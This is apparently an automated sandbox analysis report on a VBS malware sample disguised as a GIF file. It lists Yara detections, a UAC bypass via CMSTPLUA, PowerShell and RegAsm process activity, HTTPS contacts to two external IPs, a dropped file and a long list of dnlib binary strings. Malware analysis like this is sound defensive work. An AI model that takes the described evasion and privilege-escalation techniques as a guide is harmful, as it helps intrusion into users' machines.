Windows Analysis Report
createdthingstobefrankwithmeeverywhere.gIF.vbs

AI detected suspicious sample

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3265268792.0000000000F66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5684, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\sfvnspt.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

4_2_00433837

Source: powershell.exe, 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_bcd06fae-d

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.powershell.exe.1b1e29723d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5684, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_004074FD _wcslen,CoGetObject,

4_2_004074FD

Source: unknown	HTTPS traffic detected: 93.113.54.56:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.166.62.190:443 -> 192.168.2.5:49720 version: TLS 1.2

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 0000000A.00000002.3263198460.00000000025AD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3352588129.0000000007C01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ws\System.Core.pdb source: powershell.exe, 0000000E.00000002.3352588129.0000000007C81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdb_ source: powershell.exe, 0000000A.00000002.3373832812.0000000006C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ore.pdb_ source: powershell.exe, 0000000A.00000002.3373832812.0000000006C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 0000000E.00000002.3372267954.0000000008D00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000002.00000002.2168518859.000001B1E9DA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp
